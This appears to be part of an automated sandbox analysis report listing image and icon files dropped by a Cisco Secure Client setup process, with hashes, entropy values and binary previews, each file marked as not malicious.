SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNA6h+REMmcI1VCnw7Pl3Vv7aHH3yGNbBg:g/6G6GknA9Wg26x/c0eG3tmHiGg
MD5:	8675E6CF868FCE7270D170D83CE58757
SHA1:	B08567ACEF2380521759E4A1C12B1C9FE657ABED
SHA-256:	593A68E8FC7ADF787E5728D044AC71D4A9BEC6E4A6BF15895ABC8C4869F33625
SHA-512:	6480B3304656ECA345326A96FEF93B653B9F40550E5B0D14498B2670BAFB497E78A2517911F8E791E1DEC3C9A3070CB4212DB727FBE3FC648F6100E5EF349B2F
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:31:46-04:00" xmp:ModifyDate="2018-10-19T17:56:14-04:00" xmp:MetadataDate="2018-10-19T17:56:14-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:1181fb18-be64-4155-ab97-06d5464c99e6" xmpMM:DocumentID="xmp.did:1181fb18-be64-4155-ab97-06d5464c99e6"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\nac_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12068
Entropy (8bit):	7.961027992023309
Encrypted:	false
SSDEEP:	192:ukEiqZZQXKSmwL4v9UIqsQ8Dfn0Mv2RYkTONqT0oHrkbthyZpLpXrCAfrdag8csp:uViqZZQXKSmwL4VXJhsYOTynyZpNmAjE
MD5:	7E7FE0627B08E07FEE4ED11C41A9BA59
SHA1:	E3C6036975AD146D70AE76158EEBD3D8109B0C7F
SHA-256:	019183BF0C9A25E37A7EB74ABB3DC7848C1A729BBDA1F557E26A5322DBAF11E2
SHA-512:	30E68B932388A840F92D45AA97C3B9CC012C28F36DE93D315B107C7223DCBFBF94A54A09492E930642555828FCB3F6CA519F75BE6EA451DFF7B1D2F5B8FA2472
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx...l....q.a_...n`.p.l..].!.X.cmb.T{W/8.6..6......%".T..yO)"...e!..5....[.+.;..y....RX..s..@[.&.6..j...1..sf..93..I.....;.......(F...-5>P....(.`..T\|..P...}.D.H....R.L..8.....1...$.....A.X?.sb..;@...h9.wJ.;._.)eM........Ss...........4..o.............P[j.E.~.TE..0.......ro../.PA..SjK..8A.Zs..eE..X.!...<Y..Z.rr\J.}w.....?e......`..X.c. %......p.z4M7.PC........&.6.......".1c..>...^.d..S.9../s..O... ..4.j.]S<.>u..v.d6..1..S.@.N.y..=...;...9v..=...wB..Y...%.D..$..b...6u....wM...#......w..-.g...F!...he.O..r.2.....Qj..{D.\.we}.....D. ...(...$Z...?.U......r3k.o.'R.M........s....W..h.Hm.q).U.Z...}w....;...'v..I...QO.....Q1k:.h%...Ws...UA....!7....w.f].G..X...w..^...VBT$..pQ.,`-Ms.0.H.C.......d .2....\."...."G.=...{:Xgw..Rj...&.(.e..-C..+.(.)......a...n...'.I..@...8b.'.v."..r.BF./.....`...1.$Z.T$.WE.Y5sWes.:......}:./.y.DK..R.j.B.....YQ..X d\|a.^.......F.D+.\|..(.....KZ....(.,8~...,".y.H=.! ....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\nac_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.8827223365027725
Encrypted:	false
SSDEEP:	48:PajMqdGnKe/dujhrZicEFhViZIs2sJ69y+10zTECChhrHxgpj:PaIqcnKeKZHg7by+ezTLUhrR+j
MD5:	2EA165B23D882176DAAD7C368EE24642
SHA1:	A46B746D76A41D4B322552BE4D66E9FAC66D7C19
SHA-256:	5B0F218A1EDB9CE79C15E8278557CCDB8AF44EAD52B4149CBC27DEF6FFE38619
SHA-512:	7C6C1F9FBDB726AF81551CB2CB790B847904E10AB90923A8FA43C34D617FD4A7F4B0A6FC85D327FA140D8C42197213F2A2BBB4643C16A1FC7DF17C1AF1E674FC
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\ol.E....)....{.i#.A .lbi..~.E.......M!..E.M..m.......L../=...TJ...4..@9.....O.E...fz.{..3.G5.%....y.y.....=.a..e.D4.....\|.C7....3x..w.....NP(ZVHD5DTMD....sg....E.......+..........ImD.:...3...BP(Z....).(.4A..`.....l..AT.....K@..$Y.~..+A..5...H.\4..V/.Z.'.]{..P.."._...'Q..d%.....j.\...."..E..nS..+Q....e0..".1o...-....d{."..i.`.....$.......q...i...Q.6.R...V.j..A.h...>h..'.....)?/.@$.q..u.y'.....6-..wv{.Q../..e/..7.y..wl~.^....;6tWHp..TY..JK..........G/...{"..A.....E9...i..~.....Z@.....zs..t.&;.=..M..C....3)7..z.m.\|.'.N.{iiP&.9...m=....L.....ar5.O...&e.} S..~j......>....8..=0v. ..f).#....UC...9..Q....}h8I.R.HI..s....F.6.....v..O^.EhSP.,R&!....N.. ....{...s..$L.....I2... ........C.......Dt........2BV).0.#H.[....@..M.jO:....(S/.v.f.A..bo.t....\|M..Z.2BVijk..'.$...n...BP.r..<@KB*.R.....A..6..2.d...:..Y5..F..0...b.;.D....p...=..;v.hgK..o.Iu.... ..R.U.....c...9....xi.TW..`.....~...N.".A...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\neutral.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4732129504366194
Encrypted:	false
SSDEEP:	96:h6QRIHYm77Z5IVpIHwuS0g72HR1K9TEYkbGg2o:iHY0TUuUSHRAQXHx
MD5:	E61CF737A35E8DB52178528A0CBFE702
SHA1:	DE0A794D67A3DEF7079CEC7C48AC580CC71A7270
SHA-256:	559C518DC1F316C4991DC95D131CAB0BDAC445B1CE41B28EC8244CDD78F8AB2F
SHA-512:	8563013E9A2B75F5EDF00D71A292634FE375D5F6670F7F303C2CAB2DC271FDFC04A760417E2D487269D26611F6D236E6164EFC3179452AB34B1D42ABC17C51B6
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P...........................@.......................................................................................`...................................................@...................................................................@................z]J.X5..M'..M'..M'..M'..X5...kY....................0.................................................................xh.M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..X5.................p........................................................X5..M'..M'..z]J.................................X5..M'..M'..X5...........................................................xh.M'..M'..z]J.............................................M'..M'..M'..M'...................................................xh.M'..M'......................................................M'..M'..z]J.M'..M'.............p.......................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\noncompliant.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.010961844615086
Encrypted:	false
SSDEEP:	96:+9/hYGSEklnePwwDIr4LcARtTmOj/FrzFkT7goo:+9/CGShEPJcX87v
MD5:	393317DEF43F554C69A8ED63065E5BBE
SHA1:	09185B8B3C21C5CFB6661958665B6D997BF64E6F
SHA-256:	92ACFDA492B05FAA52BD32E9581F028BEE55F1C5AF617ACD8EE9E6985C9D1CBD
SHA-512:	9C7B0D37DA9080F27F0116F0C45AA5CD2D9480955433D60CCEE1555C0D930081655705C65565C7C18B766458530FA5B8DD641E7D2F8776BBB8650B7D3A95351C
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................@................................IA.P..s...s...s...s...s...s...s@............................................................................................b[....y.&...,...0 ..0 ..,...&.....y...s...s......................................................xh.cB+.M'..M'..M'..M'..J&..$.`.".../...0 ..0 ..0 ..0 ..0 ..0 ../...".....s...s.........................................z]J.M'..M'..M'..M'..z]J.z]J.z]J.+.S."...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..".....s........................0..........w.M'..M'..X5...xh.......................y./...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ../.....y...s@........................z]J.M'..M'...xh.........................qj..&...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..&.....s.....................z]J.M'..X5.................................8/..,...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..,.....s...................w.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\pinned.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.90204028759812
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTuU1G4X0vy:TSDS0tKg9E05TuGG4k6
MD5:	4D8816B117672123F84ECD051877A37D
SHA1:	C9983DE5E4DD52660A109C418DBDA7B7F202E2E8
SHA-256:	3D2A9058537240F9131F6A8D083A6723A0D45E31BF2BBA4EA761DE23948C8209
SHA-512:	63395803D1BED8B33E1854D6EC5EEF2322FFE69B5150CF414692D7AE8003ABA601FB283C8CB661ED4AD633B4ACF945AADC579A84910441963F8EE801D0CEB447
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\pinned_button.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4455
Entropy (8bit):	7.908038022091361
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTIaLT1ZWqwPFR34mH:TSDS0tKg9E05TBZWqqPH
MD5:	2E3C536FBC9DDA9D0DA7DD408FA3D69B
SHA1:	4056553645ACFD51D5BB1E74623ED9938C0F5717
SHA-256:	D86F0CEDDF46C275DF0FC6CF0FE70852DD270D0BC35355CC6B30CE7DDD6EC2B7
SHA-512:	AB3237097BBA665CC1B22F4A4C280C6141E8266EA9D4A569C3B53D4401E00F4E1E0F7944A172C16CDD455AF8EAF3EAA9FC43A08EFDFE7844689BFC7B4CB870F1
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26674
Entropy (8bit):	7.935979285003627
Encrypted:	false
SSDEEP:	768:YFyemvD4Gm3D6kkgmo+C24RkZErZWiTVCbFk:YryD4G+Dcgmo+C9kZsZWpFk
MD5:	B1655EC01B232A1A42E43F950321285A
SHA1:	F34C1F228C66BF4ED1B0E9901D3284EBD7A01600
SHA-256:	9E2447F1B7B4A3404C8D3588DAB59CF51635049BE4F1FC0D1BDEE77DEFFC5B47
SHA-512:	BCC1BC2AE795109EF83422613D9B0D9FF23EA81136479748FFA7CD7FC03D527B4744833728637F7892B5F60DD476F1F32122AECCCC26DB2D6092CD2346A750BA
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Oh%G...G........4..TSG.nO....j..CI.s.7%...fa..ofQ...x;...<^/,y1.a.R...RA/.f!..)...R....\K..]......'Od..........d.tN.<...../.O.9>.............}.P8e.M.:8.'#........z.Z;.)K.,--%..'.?a..GB...[1r..I\2...4?..SKN\|`. ..E..n..hz..mll.z".KhG\>.i.2....;.....\|\.ywww.......a..{2..Io~.UO..t...'ckk....~.....zB......I.R.T9!.OF...\|...e(z#.N....o.P.+eOH...]..~..@..!...=....'>...+O\.u..Z.yo...{.......2ieX9..(.Br):.k!..I.c.}S.'cccc..F.......0q"l...k....ve.>...p.coRw2r.D.[...}....h>.Q.B<.......y...{&B.<...{...9.e7`.......w...\.Mt..EU...h.].....r.G..;y..`.d..C6.Y.z#.f.r2.y.5.W.<.#!..!..[.5.yp;...OFL.Brv.V.uoe..O....aV.2.p2....d.t.C..'..e...Q7-.g...._...3.N<....}D:.`3.....n.^.0..X.VF..f.'.u...W...p}.(Y.#......M?.......r4.\|......@).GGz/`...U....3............F.C...[.5...;..kv.[...+k3$......N...c......j.B(..Z...k....&...8.._..E..M..(I..u..Td.....R....C.......b....E/X;....#..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	28939
Entropy (8bit):	7.960017526195935
Encrypted:	false
SSDEEP:	768:OkJC2FKvbdu0G3091/3+WVlQkJyE3MNLc37Wr65:FCQmc0390W0kT8ll8
MD5:	B52EAA7318111371B2B8EF3425AD4405
SHA1:	DB16F9570B55F8045FE8354ACC853655791557AA
SHA-256:	C33C036B94E3BD83D393E552CE87784BA9F74D2B8563162024DAF7ED05E7EF6D
SHA-512:	AA98F3130A76BCD5FAF093886472F1A937E93AD0A8E83C00F9675C14C7AFC5DF903C52DE64FBAD6012F5DF54A1DB56759481BA8516C0DB0A851B6BE87FD13DFF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Mh]W.........CH..#...5.R.R..h$...'e.Cj.T.g....G...Z..v.aB..w..K.I..E.).....d..."]g...P.l.u..>{.?....@..u.>.......g=.....\|.:D..~.........\|(...q[.g.d.......~..9r.w...'...pnn.P..D$.xx(?..K"..r..9.I.....L.t.9.A\B.D.....^&...e.'.._Bk..M....$\|....?....k=...:...N..N..{2..a/~.UO..t...'cuu....~.....zB*......IHS.T9!......\|.. q.?}......].M,u.\|i.90.<.s;y.Q.'..#..FH..3tP.:.i.]6...a.I0'.J...Rt2.!..I.c.}Q.'cyy.R.'uF...j..Sxy.u..}F..{D..H2G...1.`.R.......:..g.}D.Y....y..O=....7\|`..].Eg..4.&.....[mzd.9.e......{.}.;.e'`u.sB..M...;#}.I.%R......Dd=.z..#.Q...;..j.E...;...o...b.D.p.v..I.L.\"i.\2.GD."G..ti....ui..W.........p.....sS+j...A..........]/F...ybst...4}!.....d.i.....,.M.Y..../.v.......Q...He....DM.;V.&:^......D.ka.l....^.....{...L......F........=...yB..U.#.QwD.<!....5.ZO...0yB^.........K#L...^.]....(.R.X.d.+.'y?..d."T:OH..s...J?{E\|.....;....)....o.=.:+ZUp..H{{{......F.;[.8...H......

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_good.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29327
Entropy (8bit):	7.967732566337996
Encrypted:	false
SSDEEP:	768:kfiUT6EuEADj9MKT8NYMSNQ0Ksn1GStodN2AG1:kfTGGYRKK1GStodNw
MD5:	A0FE71E2020412BD9FFEB2712628DAD0
SHA1:	33EBF21B46A1742A46DEEE2EADB0F714B4F64959
SHA-256:	3AF5729F9A5902B409FD0D79BA1B04AF2ABDB25BCB4750F235BD61DC2EEE7C77
SHA-512:	D4886F29044F3B6A1FB900AF1973362B6822085544ED65877B2F555B360E494912AAFFDA58E49C8A91ED541F9D18482A1811C9350074797416CC8ECD06CC1863
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..]le...V...>H.mE .1.[.0#Q.6.%=..l.....ln.sC.8H#.........F..W5.-."vq1..`.:.b4..$H'-.]3.n.d.i..A.].....G..6.^{}..{=?ic...^{.w....?.cV..;B.........4[..n....r....boo..9c.9..<.(g...].{..]O....OY.b.cqq./x..9u.Uk'...R:...'.....=.G'''...t.....>..4...'...h...."...K..../7z.MOF....'....#...>.\|...S.j...3g&...~..1.:.:WB.uWJ..R.dT...'!K..rF.&E...^.......Z.........A...E..........`N...s.b. Wx..)[....o'B....}.E+c6..!.._.+Z.......R.B..G..8..D....._..N.....lle........./'#....W..]...........`0......?.^....t.......g?....j....C......KE]..z...P..W.k....PWF..aUT=O.+.7.]...QA..uz.c.D.IOF..w..hx.E.{pp...1Y..-`{ELN..}....7.0...._..Q.6z....MN...Y../..+...'B.W.s.:?....[.NDBr2._..;;..U(..!......I.7.....k..W_.R..j...'...A.......e.o.\.tkm._...S,....'.....].>....dL.z.\.ml...15u.....6^.6w.:.:.U..e.....A;.)...f,,,.z....{Oi9"....$.V.p....h...L.7.u.d.%...1..o..x..J...N5..;...Z...y.I..hj..&."q.O..2..-1.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_neutral.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	31702
Entropy (8bit):	7.968827949628217
Encrypted:	false
SSDEEP:	768:j9rxAm3IyJR5xmDQXMUg0HvpXOQFvgMN/2iHxr:j5X5AVUjEQ9NVRr
MD5:	D7A6605937F7BE6861ED243FEED7B2AF
SHA1:	CE9EFBCE4C470923C242615A0B53E775800BB031
SHA-256:	331F0FB3EAA0F38927DD0B350A6D92B8E18ACFDF64CBC597B470EF6E4D055C81
SHA-512:	A9C1C5503D9987245389C762ECDA0F4803BD84CC3D47534731F9194BB33DF93C7FEA6569D6E0BE03C4A59551B4F8021AA129A38FFF653FEB81B5DBF065438FCF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx...l]...2j...J.H......vf2e..8....Tu.4j...p50E...P.8.+.k.. Z..%.F...#..5..SR'.B{....d:p.;.7P.Nf........d.}..g.[k....#.....g.....%H...!..~.T.^...'&&..2>>./...A......e.EX....v....e...nb.....E..(}yO......O.ttt.:...8...%k...rW.....h$..^.L..<..5.V..{..7...,.#..r..x...$...$..H\|!...A.^.4.$..Ht!t_. I.J....bXy!$E].$...(."..X.B<..c....i7...p!.....X.s.\..^...............~....>.6^..8;...D..>./.hs.Q..u1f..hii)...I......q.....8s..F...0..i+\x<...A..22lZ..&x....y%\.....7..b.iTH...z..1....G.$........1a.d..b..Kvh...V...<"1.lG..p..?.B....)q...q.'o..6mJ..G.y.....=.....1...R.8.....3..7.tc..l...../....L...Fs?&Q....G?J}PI~.v!.......Cm..P.;....T..=....%........^.s...~x.~....}.5.\...o..}]..s.....2......?...-?....tDW(.b.K.X.o.........;.w...w.........\..0.o..N.......^...7..........d..].........{....+..o...... '...).....]..n.G...+....Q...IvB.......x..y...^..3.sm..I...Hb.]g..-.g ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_noncompliant.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26026
Entropy (8bit):	7.927985837095832
Encrypted:	false
SSDEEP:	768:TKQua9HUsr5RRxO5oEt9jwIZmYCEHme0KV:+Xa9RLxO5o29jNGEGk
MD5:	5DC7A6BEE91DE8331C802B1647F5AD10
SHA1:	D9F8150235EF917E6884AA963C292530AE7ED599
SHA-256:	4D9B3A95A941BD32E42171770195872958DB56A6C2CB6FAE664500E947911149
SHA-512:	BC32B66AD44C88DB95995B08A4A2E7D420035CC02318756AD10F854B884B613C8CEE3017E7708B7E4865B06961B7292CBD91B3091B0BC61889A71A06C5A17E98
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._l.G....ZF.0..4...R...z.G..i/z.6.,...eE.!..s.(...0.E...{0.~.........$.2f...^J.....7.-.1nR'....\K...0.2..Ak.._....Y..""#"...&U&..."...._...-.....e..n..7.....m.Di.O...o`{[......y..6.>1..P.....D.'..z]..Q.2.u..^lll.. /...E..h..2..j.j..j\|.c.......X&.h.".N..k%...c...L.........e.....j6...[....D....9^"....K..}}}.Dt2..g<..'B.I.....[q....d.:..OB.4'%..I{7.y"..~... q.?iLw..q.[..+...y".8.q.Z%}}}.D....{<.3'"...i6.\|.I\|..NF.eo....D.t;!..G.....s.DP.c.+=v.'......'B....x.+..A....M...3..O..-@...;.J...U!.t.D.itexw"..G?....gE.;.^...4.C...E.I6.I..U!.gLCC....kT.....'E...;j.V..E..f$........+.*."$.n.n"..!.S..."...$y..F.....+.afff...}rHZ`3$.d.Xs4%.'c..g@0;;K.D..w......pee....7...z.2FGGc.''.T.>l....^g>...............R...ty/...o.....,...~.m9p....r.3.~...1......$1....Y...X.-:.HJ..v...N.C........pR...YL...............6.t......)O...sQ.._.g..y..I.....z.w..X..b{..t.2.\/n.n.d'..k...6...F.\|.\|...].-.N..N..q..".......l..%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_transition.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5803
Entropy (8bit):	7.950077949239442
Encrypted:	false
SSDEEP:	96:eRHNludLinPdADSlBP/5X48lHE6uXPk1HFlQ0vmHSQON0hYRGRkA3rGWjrXM:UHNludLjM/FvhE8FlRRJG1r5jA
MD5:	1F00D2A16D3C303C76359276E6983553
SHA1:	9B58E65D2A01B1E55173370BBED7CFFB72C683D2
SHA-256:	F70F49DED3EB450D26AABC8F71AE8C1BF63D2C01A1C55C6A19E010FAD602011E
SHA-512:	C65A78144AB84A68DEFAB93704D20AB177E2BB82138FCD47171289D164F938D7D9620AEB22ABE234CDC79DE2CB28AF1A2B780845D873409DF0B89A60C34D425F
Malicious:	false
Preview:	.PNG........IHDR..............>a.....pHYs...........~....]IDATx..]{l[.y..."-?r...:.e'K..).9.R...%h.......0..m.?.y[.a. ...x.C.6t.......N.u3.......FJ.d..Dt.%.._.%>..;<7.)..;..R...@K...=.\|..}.\|..h..6.h.....U2.(......c.g...<..c.1@L..[....D"....F.4..3..MM.h.N.....9-..U..e.... .."...Ad.....>'..lF......d.0.8....4E+..O..i.V<.....5==m5.x..w.......8^.b<JD.H.....&''.Fp'./....>.6.z...MO....T.2D....}E.e...6. .I.z....fffZ..u.>...DL.1....acW.0.2....U.{.........W.c..!%W0W=. .......U.0F.U...e....B..b.......c.Z...JW.\.... D.#.....h4.H...W.5F.w..;'~..o."...%..l.....\|.#.w.......~"....H.^V.f2.f.x<.7GGGk..u."....?...1....}.3.......d2..L.\|C...k...>.wo9.b/.p.r.. k....r`.2).m.u.8.3$.I.....$=..@3. a.f<.J...A...E./$.8.4MY....u.Sh.#.1..,A..?.BR2.g....h4.......2......S4.2..S&....!.....B.J........d..........n.}w.0..]...t.5.x............Z.s_B.Y....f...?..A!..!.&#.&...\|C!GV>K..z.jh.U_..x..n2@.4............0J../...Y.sD..I7.7F.........kKD..@l....">.. .g..K\|..\|./.1...&@.A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\status_ico_trusted.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29723
Entropy (8bit):	7.971507308971378
Encrypted:	false
SSDEEP:	768:f/oVoAjsba3qfpgr/jKyV8xonTTdZPNE/ZIeb4p82Xg:fwZ6tyHTTdERbkp8Mg
MD5:	DDF9FC987801BDE753D2C37733DE7F3D
SHA1:	BDA65E600F5EDD2889244E2C1CEAD37C1C292FC8
SHA-256:	D62A61171CAAD9B43DBCE2683DB87959B2C1FCB303D6B34A3DC1D178A9745F44
SHA-512:	D1C0451C3E9B52920A56EDF57CCF3617662E18B14E0E0B00A94D948574431C30E1C31BA2FF6F4BBFA8E01D42B00EA90FD03CD1D3991B3ACF04C5C9802F547244
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._h].....Er..uQh..T2...E#.0m.....d...i/2.%2..L....N....L;.....%>..g.-.!...ER!&.j9..y..2.u.....x ..w.Y;.^{......~@..K{....~......,.!6....._.>(../........../~....FO.!....d.a.9thp..^.'t=...4>d.%....x.=....Z;.e.....=.^...6'....;88....o..k?....{.....ir2j..&'..:'fqqQ\.x...{2..~./^..z.....5q..J.....!.~..q..N..0..+....z2...'!K..rH.&ET..^......4vY.;[.......b.q+d.].te,//.s".<.{.....\.+.le.^......+$.u....PO..v\|./.he....O.J.......=H.....7cy..q......Y.k]......N......g#.I....M..?.........."{.dO...^.k..U....NH.qg....X..#.5\|..E....7r..}.NF..4..J...w~.._....E.".Qu.:.E...{..l...U(..D..P...d..K.z.h..%/^.w\;.N..d...\|.Q...X....2=.......W.......eR.X..~....;.Uo.w.....3....#.....7'.....q......f...D$$'ck..'P.G.y..v..!......A..T......w...F.U...OF].............V......biU$4>.U..y..OvB%=.S....B..b.DLM....WyQl..:c.a.D..o.6.\&kkk^.....Pm....=....kZ...~..u2.Qjr....lL..q...km.b\|......>...E

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\sync.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 67 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	7.787798189239225
Encrypted:	false
SSDEEP:	24:GblEbksH883ZKHGbOgt1NxI7aY1nigCC2OjKe6Yt3CvPTWngq2i3sTj85:ElEJH8I/NkQgQ+KtY1C3Sngq2VW
MD5:	DB2D5090354734EC085D88810B342866
SHA1:	F727BC14361A4332C73BFB5194CA5FF6EAC37959
SHA-256:	996C1A034CC8B6CA3C511E2C7EE2FED22F31904DB769A1AD8555F1CFD478AA62
